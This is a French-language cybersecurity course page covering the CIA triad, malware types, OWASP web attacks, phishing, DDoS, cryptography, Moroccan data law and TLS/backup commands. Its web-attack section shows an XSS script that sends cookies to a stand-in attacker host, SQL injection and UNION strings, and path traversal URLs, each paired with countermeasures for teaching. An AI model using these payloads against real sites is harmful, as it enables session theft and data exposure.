Piliers de la cybersécurité
Triade CIA, Cube de McCumber (3 dimensions, 27 cellules), cycle de vie d'une vulnérabilité (CVE), surface d'attaque et actifs informationnels.
- Triade CIA — Confidentialité, Intégrité, Disponibilité
- Cube de McCumber — 3 dimensions, 27 cellules
- Cycle de vie d'une vulnérabilité : découverte → CVE → patch
- Surface d'attaque et vocabulaire fondamental SSI
La sécurité informatique est l'ensemble des systèmes et moyens techniques pour protéger un SI contre toute violation, intrusion ou vol. Elle repose sur la triade CIA.
| Pilier | Définition | Menace type | Exemple |
|---|---|---|---|
| C — Confidentialité | Protéger contre l'accès non autorisé | Interception, fuite, espionnage | Chiffrer les e-mails d'entreprise |
| I — Intégrité | Protéger contre la modification non autorisée | Falsification, injection SQL | Vérifier la somme SHA-256 d'un fichier |
| A — Disponibilité | Protéger contre le déni d'accès | DDoS, ransomware, pannes | Serveur accessible 99,9% du temps |
Un ransomware viole la disponibilité (fichiers inaccessibles) et la confidentialité (exfiltration). Une injection SQL viole l'intégrité et la confidentialité.
DIMENSION 1 — Principes CIA
Confidentialité · Intégrité · Disponibilité
DIMENSION 2 — États de l'information
Transmission (DET — Data in Transit)
Stockage (DAR — Data At Rest)
Traitement (données en cours d'utilisation en RAM)
DIMENSION 3 — Contre-mesures
Politiques et bonnes pratiques (niveau administratif)
Personnes (formation, sensibilisation)
Technologie (antivirus, firewall, IDS...)
27 cellules = 3 x 3 x 3 — chaque cellule = combinaison à sécuriser
| État | Définition | Risque exemple | Contre-mesure |
|---|---|---|---|
| Transmission (DET) | Données circulant sur le réseau | Sniffing Wireshark, MitM | TLS/VPN |
| Stockage (DAR) | Données conservées (HDD, BDD) | Vol de disque, accès non autorisé | AES-256, RBAC |
| Traitement | Données en RAM par un programme | Buffer overflow, injection mémoire | Sandboxing, validation |
① Découverte — chercheur ou attaquant trouve la faille
Zero-day : inconnue du vendeur (0 jour de correction)
② Signalement (Responsible Disclosure)
Informer privément l'éditeur — délai standard : 90 jours
③ Attribution CVE
Identifiant unique : CVE-2024-XXXXX
Publié dans la NVD — score CVSS v3 attribué (0.0 → 10.0)
④ Développement du patch par l'éditeur
⑤ Fenêtre de risque
Entre la publication CVE et l'application du patch :
des milliers d'attaquants automatisent l'exploitation
⑥ Suivi — vérification, veille, mise à jour NVD
Découverte le 9 décembre 2021 dans Apache Log4j. Permet l'exécution de code à distance sur des millions de serveurs. Des systèmes ont été compromis dans les heures suivant la publication — exemple parfait de fenêtre de risque critique.
| Type d'actif | Exemples | Menaces | Contre-mesures |
|---|---|---|---|
| Données | BDD clients, fichiers RH | Vol, fuite, ransomware | Chiffrement, sauvegardes, DLP |
| Applications | Site web, API, logiciels | Injection, XSS, CVE | WAF, mises à jour |
| Infrastructure | Serveurs, réseaux, cloud | DDoS, intrusion | Firewall, IDS/IPS, patching |
| Humain | Employés, admins | Phishing, ingénierie sociale | Formation, MFA, moindre privilège |
Panorama des menaces
Taxonomie complète des logiciels malveillants (virus, vers, chevaux de Troie, rootkits, ransomware, spyware), les 7 types de virus, attaque MitM, et le vers Nimda — fondements théoriques du manuel M108.
- Distinguer virus, ver, cheval de Troie, rootkit, ransomware et spyware
- Analyser les 7 types de virus (infectant fichiers, macro, pirate navigateur, secteur démarrage, polymorphe, résident, multipartite)
- Comprendre le mécanisme de l'attaque MitM (Homme du milieu)
- Connaître le vers Nimda et ses 4 vecteurs de propagation
| Type | Mécanisme | Besoin d'hôte | Objectif principal | Exemple célèbre |
|---|---|---|---|---|
| Virus | S'attache à un programme légitime et se réplique à l'exécution | Oui — fichier hôte requis | Corruption de fichiers, propagation | ILOVEYOU (2000) |
| Ver (Worm) | Se propage seul via le réseau sans programme hôte | Non — autonome | Propagation massive, DDoS, installation backdoor | Nimda, WannaCry |
| Cheval de Troie | Se présente comme un logiciel légitime mais exécute des actions malveillantes | Non — programme complet | Prise de contrôle, vol de données | Zeus, Emotet |
| Rootkit | S'installe profondément dans l'OS pour cacher sa présence et obtenir un accès root | Non — s'intègre au système | Persistance, accès administrateur invisible | Sony BMG Rootkit |
| Ransomware | Chiffre les fichiers et exige une rançon pour la clé de déchiffrement | Non | Extorsion financière | WannaCry, LockBit |
| Spyware | Surveille l'activité de l'utilisateur et envoie les données à l'attaquant | Non | Espionnage, vol de credentials | FinFisher, Pegasus |
| Botnet | Réseau d'appareils infectés controlés à distance par un “botmaster” | Non — distribué | DDoS, spam, minage crypto, attaques coordonnées | Mirai, Emotet |
Malware (malicious software) est le terme générique qui englobe toutes les catégories ci-dessus. Virus est une sous-catégorie spécifique de malware. Dire « mon ordinateur a un virus » est communément accepté mais techniquement imprécis — il peut s'agir d'un cheval de Troie, un ransomware, un spyware, etc.
| Type de virus | Mécanisme spécifique | Cible | Technique d'évasion |
|---|---|---|---|
| Infectant les fichiers | S'attache aux exécutables (.exe, .com) et s'active à l'exécution | Fichiers programmes | Rend les fichiers hôtes opérationnels pour ne pas être détecté |
| Macro-virus | Se loge dans les macros de documents Office (Word, Excel) | Fichiers .doc, .xls, .ppt | Se propage via pièces jointes email |
| Pirate de navigateur | Modifie les paramètres du navigateur (page d'accueil, moteur de recherche) | Navigateurs web | S'installe via extensions ou téléchargements |
| Virus du secteur de démarrage | Infecte le MBR (Master Boot Record) — s'exécute avant l'OS | Disque dur, USB | Exécution avant le système d'exploitation = très difficile à détecter |
| Virus polymorphe | Modifie son propre code à chaque réplication (chiffrement + mutation) | N'importe quel fichier | Signature différente à chaque copie → contourne les antivirus basés sur signatures |
| Virus résident | Se loge dans la mémoire RAM de l'ordinateur | Mémoire système | Intercepte les appels système et infecte les fichiers ouverts |
| Virus multipartite | Combine plusieurs modes d'infection (secteur démarrage + fichiers) | Secteur démarrage ET fichiers exécutables | Se propage par plusieurs vecteurs simultanément |
Infection 1 : Corps du virus [ENCRYPTE avec clé A] + Décrypteur A
Infection 2 : Corps du virus [ENCRYPTE avec clé B] + Décrypteur B
Infection 3 : Corps du virus [ENCRYPTE avec clé C] + Décrypteur C
► Le corps viral est identique mais son apparence change à chaque copie
► Un antivirus à base de signatures ne peut pas matcher
► Nécessite une détection heuristique ou comportementale
Scénario : Alice communique avec sa banque via HTTP (non chiffré)
Alice ───[requête]───► PIRATE ►───[requête relayée]───► Banque
Alice ◄──[réponse]─── PIRATE ◄───[réponse relayée]─── Banque
Le pirate :
1. Se positionne physiquement ou logiquement sur le trafic
2. Intercepte ET lit toutes les données (login, mot de passe)
3. Peut modifier les données en transit (injection)
4. Relayé les échanges — Alice et la banque ne savent rien
Techniques MitM courantes :
● ARP Poisoning : empóisonner la table ARP du réseau local
● DNS Spoofing : rediriger vers un faux site
● SSL Stripping : dégrader HTTPS en HTTP
● Wi-Fi Evil Twin : faux point d'accès Wi-Fi
Contre-mesures :
● HTTPS/TLS obligatoire (chiffrement bout-en-bout)
● HSTS (HTTP Strict Transport Security)
● Certificats pinning
● VPN sur Wi-Fi public
① L'attaquant héberge des scripts PHP infectés sur un site web
② La machine victime visite le site → téléchargement silencieux
③ Le malware obtient les privilèges (escalade de privilèges)
④ Installation profonde dans le système (kernel/OS)
⑤ Désactivation des services de sécurité (antivirus, IDS)
⑥ Transformation en zombie pour futures attaques
Actions d'un rootkit actif :
● Cache ses propres processus aux outils système (ps, top)
● Cache ses fichiers dans l'explorateur
● Vole mots de passe, clés, certificats
● Ouvre une backdoor pour accès distant permanent
Apparu le 18 septembre 2001, Nimda (« admin » à l'envers) est un ver extrêmement sophistiqué pour son époque. Il a causé des ralentissements massifs d'Internet et infecté des centaines de milliers d'ordinateurs en quelques heures. Il se distingue par sa capacité à se propager via 4 vecteurs simultanés.
| Vecteur | Mécanisme | Fichier concerné |
|---|---|---|
| 1. Email | Envoie une pièce jointe infectée (readme.exe) à tous les contacts Outlook de la victime | readme.exe |
| 2. Fichiers exécutables | Infecte les fichiers .exe sur le système local et les partages réseau | nimda.dll |
| 3. Sites web | Modifie les pages web des serveurs IIS vulnérables pour infecter les visiteurs | readme.eml |
| 4. Réseau local (partages) | Scanne le réseau local et se copie dans les dossiers partagés accessibles en écriture | Copie directe |
Nimda est conçu pour se renvoyer tous les 10 jours s'il n'est pas supprimé. Il peut également transformer les ordinateurs infectés en zombies pour lancer de futures attaques DDoS. La faille Unicode d'IIS (encodage des caractères pour contourner les filtres de sécurité) était l'un de ses vecteurs privilégiés sur les serveurs web.
Attaques Web — OWASP Top 10
L'OWASP Top 10 (2021) détaillé — XSS (stockée, réfléchie, DOM) avec payloads, injection SQL, Session Hijacking (4 vecteurs), Cookie Poisoning, Directory Traversal et Default Password.
- L'OWASP et son Top 10 2021 — les 9 catégories critiques
- Les 3 types de XSS (stockée, réfléchie, DOM) avec exemples de code
- L'injection SQL — mécanisme et prévention
- Session Hijacking et Cookie Poisoning — 4 vecteurs d'exploitation
- Directory Traversal et Default Password
L'Open Web Application Security Project (OWASP) est une fondation à but non lucratif dédiée à l'amélioration de la sécurité des logiciels. Son Top 10 est un document de référence mondial qui classe les 10 risques les plus critiques pour les applications web, mis à jour régulièrement sur la base de données collectées auprès de milliers d'organisations.
| # | Catégorie OWASP 2021 | Description rapide | Exemple d'attaque |
|---|---|---|---|
| A01 | Contrôles d'accès défaillants | Utilisateur accède à des ressources au-delà de ses autorisations | Accès admin sans authentification, IDOR |
| A02 | Défaillances cryptographiques | Données sensibles en clair, algorithmes faibles | MDP stockés en MD5, HTTP sans TLS |
| A03 | Injection | Données non validées interprétées comme du code | SQL Injection, XSS, LDAP Injection |
| A04 | Conception non sécurisée | Failles architecturales de conception | API mal conçue, absence de modélisation des menaces |
| A05 | Composants vulnérables et obsolètes | Bibliothèques/frameworks non à jour | Log4Shell (Log4j vulnérable) |
| A06 | Échecs d'identification et d'authentification | Gestion de sessions, MDP faibles | Credential stuffing, brute force |
| A07 | Défaillances intégrité logicielle | Code/données non protégés contre violations d'intégrité | Pipeline CI/CD compromis, mise à jour malveillante |
| A08 | Journalisation insuffisante | Attaques non détectées faute de logs | Violation non détectée pendant des mois |
| A09 | SSRF (Server-Side Request Forgery) | Le serveur est forcé à effectuer des requêtes vers des ressources internes | Accès aux métadonnées cloud AWS/Azure |
Le Cross-Site Scripting (XSS) est une injection de scripts côté client dans des applications web vulnérables. Un code JavaScript malveillant est exécuté dans le navigateur de la victime, permettant le vol de session, la surveillance et la modification des actions utilisateur.
| Type XSS | Mécanisme | Persistance | Vecteur |
|---|---|---|---|
| XSS Stockée (Persistent) | Script injecté et stocké dans la BDD — s'exécute à chaque visite | Permanente | Formulaire commentaire, profil, message |
| XSS Réfléchie (Miroir) | Script injecté dans l'URL, réfléchi par le serveur dans la réponse | Temporaire — un seul clic | Lien malveillant envoyé par email/phishing |
| XSS DOM | Script injecté dans l'URL, modifie le DOM HTML côté client sans aller au serveur | Temporaire | Paramètre URL traité par JavaScript |
# XSS stockée : injecter dans un champ commentaire
# Payload de test (alert)
<script>alert('XSS Stockée OK')</script>
# Payload de vol de cookie
<script>document.location='http://attaquant.ma/steal?c='+document.cookie</script>
# XSS DOM : injecter via paramètre URL
# URL malveillante envoyée à la victime :
http://site-vulnerable.ma/page?default=<script>alert(document.cookie)</script>
# Contre-mesures :
# 1. Encoder les sorties HTML (htmlspecialchars en PHP)
# 2. Content Security Policy (CSP) headers
# 3. Sanitisation des entrées utilisateur
# Requête SQL légitime (login)
SELECT * FROM users WHERE name='Alice' AND password='motdepasse';
# Injection dans le champ mot de passe :
# Valeur injectée : random' OR '1=1';--
# Requête résultante :
SELECT * FROM users WHERE name='Alice' AND password='random' OR '1=1';--';
# '1=1' est toujours VRAI → contournement de l'authentification
# -- commente le reste de la requête
# UNION injection (extraction de données)
' UNION SELECT username, password FROM users--
# Fusionne les résultats avec la table users
# → affiche tous les mots de passe !
# Contre-mesures :
# 1. Requêtes préparées (prepared statements)
# 2. ORM (Object-Relational Mapping)
# 3. Validation des entrées
# 4. Principe du moindre privilège SQL
| Vecteur Session Hijacking | Mécanisme | Outil associé |
|---|---|---|
| Session Sniffing | Capture du token de session sur réseau non chiffré | Wireshark, Kismet |
| Token prévisible | L'ID de session suit un pattern devinable (incrémental, basé sur le temps) | Analyse manuelle, Burp Suite |
| Attaque MitM (navigateur) | Malware intercept les échanges entre navigateur et serveur à l'insu de l'utilisateur | Cheval de Troie bancaire |
| Cross-Site Scripting (XSS) | Payload XSS volàe le cookie de session et l'envoie à l'attaquant | Script malveillant injecté |
# Attaque de traversée de répertoire (path traversal)
# URL normale :
http://site.ma/get-file?name=rapport.pdf
# URL malveillante (remonte l'arborescence) :
http://site.ma/get-file?name=../../../../etc/passwd
# Variante avec encodage Unicode (faille Nimda/IIS) :
http://site.ma/scripts/..%c0%af../winnt/system32/cmd.exe
# Le serveur décode %c0%af en '/' et accède au répertoire restreint
# Contre-mesures :
# 1. Valider les entrées après décodage (pas avant)
# 2. Utiliser des chemins absolus et listes blanches
# 3. Appliquer les patches serveur (Microsoft IIS patch)
# 4. Principe du moindre privilège sur les répertoires
Default Password : de nombreux appareils réseau (routeurs, caméras IP, switches) sont livrés avec des identifiants par défaut (admin/admin, admin/1234, admin/password). Un attaquant utilise des listes de mots de passe par défaut publiques pour accéder à ces équipements. La correction est simple : changer immédiatement les mots de passe par défaut à l'installation.
<script>alert(document.cookie)</script> dans le champ « commentaire » d'un blog. Le script s'exécute pour tous les visiteurs du blog. Quel type de XSS est-ce ?' OR '1=1';-- est injectée dans un champ mot de passe. Pourquoi permet-elle de contourner l'authentification ?Ingénierie sociale & attaques réseau
Phishing (Email, Spear, Whaling, BEC, fausse facture), IP Spoofing, et les 5 types d'attaques DDoS (SYN Flood, Teardrop, Smurf, Botnet, Ping of Death) — mécanismes détaillés et contre-mesures.
- Les 5 types de phishing et leur psychologie de manipulation
- Mécanisme de l'IP Spoofing et du Spear Phishing
- Les 5 types d'attaques DDoS : SYN Flood, Teardrop, Smurf, Botnet, Ping of Death
- Prévenir les attaques d'ingénierie sociale
Le phishing est une technique d'ingénierie sociale qui utilise des émotions humaines (peur, urgence, curiosité, avidité) pour tromper les victimes et les inciter à divulguer des informations confidentielles ou à cliquer sur des liens malveillants. Il suffit d'une seule attaque réussie pour compromettre tout un réseau.
| Type | Cible | Mécanisme | Exemple réel |
|---|---|---|---|
| Email Phishing | Grand public (massif) | Emails en masse imitant une marque connue (banque, PayPal, DHL) | « Votre compte a été suspendu. Cliquez ici. » |
| Spear Phishing | Individu ou organisation spécifique | Message personnalisé utilisant des infos recueillies (OSINT) sur la cible | Email du « DRH » avec le prénom de l'employé |
| Whaling | Hauts dirigeants (PDG, DG, CFO) | Attaque ciblée sur les « grandes baleines » ayant accès aux fonds/décisions | Email urgent du « PDG » demandant un virement bancaire immédiat |
| BEC (Business Email Compromise) | Employés comptables/financiers | Usurpation d'identité d'un dirigeant pour ordonner des virements frauduleux | Faux email du PDG : « vire 50 000 MAD sur ce compte d'urgence » |
| Fausse facture | Services achats/comptabilité | Fournisseur légitime usurpé — facture avec IBAN modifié | Facture d'un fournisseur connu avec un nouveau numéro de compte |
① Vérifier l'adresse email expéditeur (pas seulement le nom affiché)
Exemple : "Service Attijariwafa Bank"
● "attijarwfa" (faute) ≠ "attijariwafa"
② Survoler les liens SANS cliquer (affiche l'URL réelle dans la barre)
Lien affiché : https://attijariwafabank.ma/connexion
URL réelle : https://attijarwfa-bank.ru/phishing
③ Repérer les émotions créées : urgence, peur, curiosité, récompense
"Votre compte sera bloqué dans 24h si vous ne confirmez pas"
④ Vérifier le domaine expéditeur avec SPF/DKIM/DMARC
Commande : dig TXT attijariwafabank.ma
Une attaque DoS (Denial of Service) provient d'une seule source — facile à bloquer par IP. Une attaque DDoS (Distributed DoS) provient de milliers de machines infectées (botnet) simultanément — impossible à bloquer par IP. L'objectif des deux est le même : rendre un service indisponible en saturant ses ressources.
Poignée de main TCP normale (3-way handshake) :
Client ── SYN ──► Serveur (je veux me connecter)
Client ◄─ SYN/ACK ─ Serveur (OK, je t'attends)
Client ── ACK ──► Serveur (connexion établie)
SYN Flood (attaque) :
Attaquant ── SYN (IP falsifiée) ─► Serveur
Attaquant ◄─ SYN/ACK ──────── Serveur (ACK envoyé dans le vide)
[Milliers de connexions demi-ouvertes saturent la table TCP]
[Nouvelles connexions légitimes refusées — serveur indéxt;ponible]
| Type DDoS | Mécanisme | Couche OSI | Spécificité |
|---|---|---|---|
| SYN Flood | Milliers de requêtes TCP SYN avec IP falsifiées — sature la table de connexions | Couche 4 (Transport) | Ne nécessite pas beaucoup de bande passante |
| Teardrop | Envoie des fragments de paquets IP qui se chevauchent — le système plante lors du réassemblage | Couche 3 (Réseau) | Exploite les bugs TCP/IP des anciens OS (Windows/Linux) |
| Smurf Attack | Envoie des pings ICMP en broadcast avec l'IP de la victime comme source — tous les hôtes répondent à la victime | Couche 3 (Réseau) | Effet amplificateur : 1 paquet envoyé = N réponses reçues |
| Ping of Death | Envoie un paquet ICMP surdimensionné (>65 535 octets) — provoque crash/freeze | Couche 3 (Réseau) | Exploite la limite de taille des paquets IPv4 |
| Botnet DDoS | Milliers de machines zombies envoient simultanément du trafic vers la cible | Toutes couches | Volume impossible à absorber ; machines du monde entier |
L'attaquant envoie 1 ping en broadcast avec l'IP de la victime comme adresse source. Tous les appareils du réseau reçoivent le ping et répondent à la victime. Si le réseau compte 500 machines, la victime reçoit 500 réponses pour chaque ping envoyé — facteur d'amplification x500 qui sature totalement sa bande passante.
Cryptographie symétrique & hachage
AES-256 (modes ECB/CBC/CTR), Triple DES (3 phases), Blowfish, Twofish, FPE, hachage (SHA-256/MD5/collisions/bcrypt), obfuscation (7 techniques), outils GnuPG, AES Crypt, Encrypto.
- Principe du chiffrement symétrique — même clé pour chiffrer et déchiffrer
- AES-256 (modes ECB/CBC/CTR), Triple DES, Blowfish, Twofish, FPE
- Hachage (SHA-256/MD5) — différence avec le chiffrement, bcrypt
- Obfuscation du code source — 7 techniques
- Outils : GnuPG, AES Crypt, Encrypto
| Algorithme | Taille clé | Sécurité | Usage |
|---|---|---|---|
| AES | 128, 192 ou 256 bits | ★★★★★ — Standard mondial | HTTPS, VPN, disques chiffrés, WPA2/WPA3 |
| Triple DES (3DES) | 168 bits (3×56) | ★★★ — Déprécié | Systèmes hérités, cartes bancaires |
| Blowfish | 32 à 448 bits | ★★★ — Ancien | Remplacé par AES |
| Twofish | 128, 192 ou 256 bits | ★★★★ — Sécurisé | Alternative open source à AES |
| FPE | Variable | ★★★★ — Préserve le format | Systèmes bancaires, BDD |
- ECB : chaque bloc chiffré indépendamment. Déconseillé — blocs identiques donnent des chiffrés identiques.
- CBC : chaque bloc XORé avec le précédent. Plus sécurisé, nécessite un IV.
- CTR : transforme AES en chiffrement par flot. Rapide, parallélisable, utilisé dans TLS 1.3.
Le chiffrement est réversible (on peut déchiffrer). Le hachage est unidirectionnel — impossible de retrouver la donnée d'origine. Un hash = empreinte digitale de longueur fixe.
| Algorithme | Sortie | Sécurité | Usage |
|---|---|---|---|
| MD5 | 128 bits (32 hex) | Cassé — collisions connues | Vérification non-critique seulement |
| SHA-256 | 256 bits (64 hex) | Sécurisé — standard actuel | Intégrité, signatures, Bitcoin |
| bcrypt | Variable (avec sel) | Conçu pour les MDP (lent) | Stockage des mots de passe |
# SHA-256 d'un fichier
sha256sum fichier.iso
# Hacher une chaîne
echo -n "motdepasse" | sha256sum
# GnuPG : chiffrement symétrique AES-256
gpg --symmetric --cipher-algo AES256 fichier.txt
gpg --decrypt fichier.txt.gpg > fichier_dechiffre.txt
# AES Crypt
aescrypt -e -p "motdepasse_fort" rapport.pdf
aescrypt -d -p "motdepasse_fort" rapport.pdf.aes
| # | Technique | Mécanisme |
|---|---|---|
| 1 | Formes alternatives | Traduire en binaire, tables de consultation |
| 2 | Changer le stockage des variables | Randomiser les adresses mémoire |
| 3 | Randomiser les agrégats | Regrouper les données en tailles aléatoires |
| 4 | Chiffrer les chaînes | Chiffrer les constantes sensibles (déchiffrées à l'exécution) |
| 5 | Interrompre le flux | Ajouter du code mort (dead code) |
| 6 | Supprimer le débogage | Supprimer numéros de ligne et noms de fichiers |
| 7 | Obfusquer l'assembleur | Technique jump-in-the-middle — empoisonner le désassembleur |
Cryptographie asymétrique & PKI
RSA, Diffie-Hellman, ECC, paire clé publique/privée, signatures numériques, PKI et certificats X.509.
- Principe de la paire clé publique/privée
- RSA, Diffie-Hellman, ECC — algorithmes et usages
- Signatures numériques — authenticité, intégrité, non-répudiation
- PKI et certificats X.509 — chaîne de confiance
Dans la cryptographie asymétrique, on utilise une paire de clés liées : clé publique (partageable) et clé privée (jamais partagée). Ce qui est chiffré avec l'une ne peut être déchiffré qu'avec l'autre.
① Bob génère sa paire de clés
Clé publique Bob_pub → partagée avec tout le monde
Clé privée Bob_priv → gardée SECRETE par Bob
② Alice chiffre avec la clé PUBLIQUE de Bob
Message + Bob_pub → [RSA] → Message chiffré
③ Bob déchiffre avec sa clé PRIVEE
Message chiffré + Bob_priv → [RSA] → Message original
► Même si intercepte : sans Bob_priv, impossible de déchiffrer !
| Critère | Clé privée | Clé publique |
|---|---|---|
| Propriétaire | Uniquement le propriétaire — jamais partagée | Tout le monde — librement distribuée |
| Pour chiffrer | Chiffrer avec la clé publique du destinataire | Permet au destinataire de déchiffrer |
| Pour signer | Signer avec clé PRIVEE (prouve l'identité) | Vérifier la signature |
| Algorithme | Principe | Taille clé | Usage |
|---|---|---|---|
| RSA | Difficulté de factoriser deux grands nombres premiers | 2048 ou 4096 bits | Chiffrement, signatures, TLS |
| Diffie-Hellman | Échange de clés sur canal non sécurisé | 2048+ bits | Établir une clé symétrique commune sans la transmettre |
| ECC | Courbes elliptiques — sécurité équivalente avec clés bien plus petites | 256 bits ≈ RSA 3072 bits | TLS 1.3, smartphones, IoT, Bitcoin |
Couleur commune publique = JAUNE (connue de tous)
Alice secret : rouge → JAUNE+rouge = ORANGE (envoyé à Bob)
Bob secret : bleu → JAUNE+bleu = VERT (envoyé à Alice)
Alice : VERT + rouge = MARRON (clé commune)
Bob : ORANGE + bleu = MARRON (même clé !)
Un écouteur voit JAUNE, ORANGE, VERT — ne peut pas calculer MARRON
► Secret partagé sans jamais l'avoir transmis !
SIGNER (Alice signe) :
Document → [SHA-256] → Hash
Hash + Clé PRIVEE Alice → [RSA] → Signature
VERIFIER (Bob vérifie) :
Document → [SHA-256] → Hash calculé
Signature + Clé PUBLIQUE Alice → [RSA] → Hash déchiffré
Identiques → Document authentique et intact
Différents → Document falsifié
Garanties :
Authenticité : seule Alice possède sa clé privée
Intégrité : toute modification change le hash
Non-répudiation : Alice ne peut pas nier avoir signé
| Composant PKI | Rôle | Exemple |
|---|---|---|
| CA | Signe et garantit les certificats | DigiCert, Let's Encrypt, CNRST Maroc |
| Certificat X.509 | Clé publique + identité + signature CA | Certificat HTTPS d'un site web |
| CRL | Liste des certificats révoqués | Certificat compromis ou volé |
| CSR | Demande de signature envoyée à la CA | Généré avec OpenSSL |
Cadre juridique & conformité
Loi 09-08 et Loi 50-20 marocaines (CNDP, DNSSI), Copyright/BMDA, RGPD (7 principes), RBAC (4 étapes, DAC/MAC) et principe du moindre privilège — tout le cadre légal du manuel M108.
- Loi 09-08 — protection des données personnelles au Maroc (CNDP, 7 obligations)
- Loi 50-20 — cybersécurité et DNSSI
- Copyright marocain — BMDA, droits moral vs patrimoniaux
- RGPD — 7 principes fondamentaux
- RBAC — 4 étapes, DAC/MAC, moindre privilège
La Commission Nationale de contrôle de la protection des Données à caractère Personnel (CNDP) est instituée par la loi 09-08 du 18 février 2009. Elle veille au respect des règles auxquelles doivent se conformer les organismes publics et privés lors du traitement de données personnelles.
| # | Obligation (Loi 09-08) | Description |
|---|---|---|
| 1 | Respecter la finalité | Données collectées pour des finalités déterminées, explicites et légitimes |
| 2 | Proportionnalité | Ne collecter que les données strictement nécessaires (minimisation) |
| 3 | Qualité des données | Les données doivent être exactes, complètes et à jour |
| 4 | Durée de conservation | Ne pas conserver au-delà de la finalité initiale |
| 5 | Droits des personnes | Droit d'accès, de rectification, d'opposition et de suppression |
| 6 | Sécurité et confidentialité | Mesures techniques et organisationnelles pour protéger les données |
| 7 | Notification à la CNDP | Déclarer les traitements à la CNDP avant leur mise en œuvre |
La loi 05-20 relative à la cybersécurité met en place un cadre juridique pour la sécurité des systèmes d'information des administrations de l'État. Elle crée la Direction de la Sécurité des Systèmes d'Information (DNSSI) pour la coordination nationale de la cybersécurité.
| Type de droit | Définition | Durée | Cessible ? |
|---|---|---|---|
| Droit moral | Droit à la paternité, au respect de l'intégrité de l'œuvre | Perpétuel — ne s'éteint jamais | Non — inaliénable |
| Droits patrimoniaux | Droits d'exploitation économique : reproduction, adaptation | Vie de l'auteur + 70 ans | Oui — transmissibles/cessibles |
Début → 14 ans
1831 → 28 ans + renouvellement 28 ans
1976 → 75 ans OU vie + 50 ans
1998 → 120 ans OU vie + 70 ans
Maroc → Vie de l'auteur + 70 ans
Après expiration → Domaine public (utilisation libre)
| # | Principe RGPD | Signification pratique |
|---|---|---|
| 1 | Légalité, équité, transparence | Traitement fondé sur une base légale valide (consentement, contrat...) |
| 2 | Limitation de la finalité | Données utilisées uniquement pour la finalité déclarée |
| 3 | Minimisation des données | Collecter seulement les données strictement nécessaires |
| 4 | Exactitude | Maintenir les données exactes, corriger ou supprimer les incorrectes |
| 5 | Limitation du stockage | Ne pas conserver au-delà de la durée nécessaire |
| 6 | Intégrité et confidentialité | Protéger contre accès non autorisé, perte ou destruction |
| 7 | Responsabilité (Accountability) | L'organisation doit prouver sa conformité avec documentation et audits |
Le RBAC (Role-Based Access Control) attribue des autorisations en fonction des rôles des utilisateurs. Chaque utilisateur n'a accès qu'aux informations pertinentes pour son poste — c'est le principe du moindre privilège.
| Étape | Action | Exemple |
|---|---|---|
| 1. Analyser | Inventorier les fonctions et les données utilisées | Quelles données chaque département utilise-t-il ? |
| 2. Planifier | Définir le périmètre en commençant par les systèmes sensibles | Commencer par la BDD clients, le système RH |
| 3. Définir les rôles | Créer des rôles selon les responsabilités | Admin, Manager, Employé, Auditeur, Visiteur |
| 4. Déployer et maintenir | Attribuer les rôles, auditer régulièrement | Revoir les droits à chaque changement de poste |
| Type | Description | Utilisation |
|---|---|---|
| DAC — Discrétionnaire | Le propriétaire définit les politiques d'accès à ses ressources | Systèmes Linux/Windows (chmod, ACL) |
| MAC — Obligatoire | Une autorité centrale attribue des niveaux de classification | Armée, renseignements, gouvernements |
| RBAC — Par rôles | Les droits sont attachés aux rôles, pas aux individus | Applications d'entreprise, ERP |
HTTPS, SSL/TLS & sauvegarde sécurisée
TLS 1.3 (handshake, Perfect Forward Secrecy), différence SSL/TLS/HTTPS, certificat auto-signé avec OpenSSL, HSTS, règle 3-2-1, RPO/RTO, et rdiff-backup (local + SSH).
- Différence SSL, TLS et HTTPS — historique et versions
- Handshake TLS — établissement de la connexion en 4 étapes
- Perfect Forward Secrecy (PFS) — protéger les sessions passées
- Générer un certificat auto-signé avec OpenSSL
- Règle 3-2-1, RPO/RTO, rdiff-backup local et SSH
| Protocole | Définition | Statut |
|---|---|---|
| SSL (Secure Sockets Layer) | Protocole original (Netscape, 1994). Protège les connexions contre l'interception. | Déprécié — toutes versions vulnérables (POODLE, BEAST) |
| TLS (Transport Layer Security) | Successeur de SSL, plus sécurisé. Version actuelle : TLS 1.3 (2018). | TLS 1.2/1.3 — utiliser TLS 1.3 obligatoirement |
| HTTPS | HTTP + TLS. Le « S » = Secure. Toutes les données HTTP chiffrées via TLS. | Standard obligatoire pour tout site web |
① Client Hello
Client ─► Serveur : "Versions TLS supportées, algorithmes, nombre aléatoire"
② Server Hello + Certificat
Client ◄─ Serveur : "Version choisie, certificat X.509, nombre aléatoire"
③ Echange de clé (Key Exchange)
TLS 1.3 : Diffie-Hellman — Perfect Forward Secrecy automatique
Client vérifie le certificat avec la CA
④ Finished — connexion sécurisée
Les deux parties dérivent la même clé AES symétrique
Toutes les communications suivantes chiffrées avec AES
Perfect Forward Secrecy (PFS) :
Chaque session utilise une clé éphémère différente
Si la clé privée du serveur est compromise PLUS TARD,
les sessions PASSEES restent illisibles
# Installer OpenSSL
sudo apt-get -y install openssl
openssl version -a
# Générer clé privée + CSR en une commande
openssl req -newkey rsa:2048 -keyout PRIVATEKEY.key -out MYCSR.csr
# Remplir : Country (MA), State, Organization, Common Name (domaine)
# Générer CSR avec clé non chiffrée (pour serveur web)
openssl req -new -newkey rsa:2048 -nodes \
-keyout example.ma.key -out example.ma.csr
# Vérifier le CSR
openssl req -text -in MYCSR.csr -noout -verify
# Auto-signer le certificat (365 jours)
openssl x509 -in MYCSR.csr -out MYCSR.crt \
-req -signkey PRIVATEKEY.key -days 365
# Afficher le contenu
cat MYCSR.crt
Un certificat auto-signé garantit le chiffrement mais pas l'authentification (avertissement navigateur). En production utiliser Let's Encrypt (gratuit, 90 jours, renouvelable automatiquement).
3 copies des données, sur 2 supports différents, dont 1 hors site. Garantit la résilience face aux ransomwares, pannes et catastrophes physiques.
| Concept | Définition | Exemple |
|---|---|---|
| RPO | Perte de données maximale acceptable | RPO=4h → sauvegarder toutes les 4h |
| RTO | Temps de reprise maximal acceptable | RTO=2h → système opérationnel en moins de 2h |
# Installation
sudo apt-get update && sudo apt-get install rdiff-backup
rdiff-backup --version
# Sauvegarde LOCALE
sudo rdiff-backup source/ back_folder/
# Restauration locale
sudo cp -a back_folder/ restauration/
# Sauvegarde DISTANTE via SSH
rdiff-backup root@192.168.1.100::/var/www/html/ /backup/web/
# Historique des sauvegardes
rdiff-backup --list-increments back_folder/
# Restaurer à une date précise
rdiff-backup --restore-as-of 2024-11-15 back_folder/ /tmp/restore/
Pentesting & Kali Linux
